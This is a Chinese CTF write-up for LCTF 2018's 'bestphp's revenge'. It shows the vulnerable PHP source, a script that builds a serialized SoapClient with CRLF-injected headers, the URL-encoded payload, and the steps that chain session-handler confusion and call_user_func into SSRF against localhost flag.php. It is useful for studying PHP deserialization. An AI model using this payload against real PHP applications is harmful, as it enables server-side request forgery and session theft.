源码:
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();//session 反序列化标志
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
//flag.php
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
这里说明ssrf
$_SESSION[0‘name’] =
seesion序列化储存: $_GET[‘name’];将我们的序列化对象,传入session中,并在前面,加一个“|”符号。此时session会以php_serialize的规则储存:a:1:{s:4:“name”;s:199:"|xxx…"}
call_user_func()函数get $f可控 post 可控 用session_start()函数来修改php解释器
$_SESSION['name'] = $_GET['name'];
将ssrf内容传入给session
php脚本:
<?php
$target ='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location'=>$target,
'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车
'uri' => "http://127.0.0.1/"));
$se = serialize($b);
echo "|" . urlencode($se);
?>
传入name
|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
![](https://img-blog.csdnimg.cn/img_convert/9a38939741f12fea6f2a1d300eaea6f5.png)
从而储存我们的要的seesion
接下来就是 如何触发call函数
我觉得这篇博客很精辟
bestphp's revenge_bestphp's revenge 1-CSDN博客
5. call_user_func($_GET[‘f’], $_POST); 将b变量,用extract函数,进行覆盖。覆盖为call_user_func。
6. session_start(); 此时的序列化引擎为php,此函数会按照php的方法,把我们刚才传入的session,进行反序列化。并储存在session中
7. $a = array(reset($_SESSION), ‘welcome_to_the_lctf2018’); 把我们的session与“welcome_to_the_lctf2018”和并为一个数组
8. call_user_func($b, $a); 因为$b变量已经被我们覆盖成了call_user_func,那么此时的程序,就变成了call_user_func(call_user_func,array($_session,‘welcome_to_the_lctf2018’));
9. $_session这个对象,会去调用“welcome_to_the_lctf2018”这个不存在的方法,于是__call方法被
触发,服务器携带我们设置的cookie,去访问flag.php,然后把flag,储存在此cookie对应的session中。
![](https://img-blog.csdnimg.cn/img_convert/3b0797f896cf339e8544324a8c1c287e.png)
最后将phpsessid改为我们设置的id即可
![](https://img-blog.csdnimg.cn/img_convert/b0b3ffbcadecbaf3f0ea4fa37c7e26d9.png)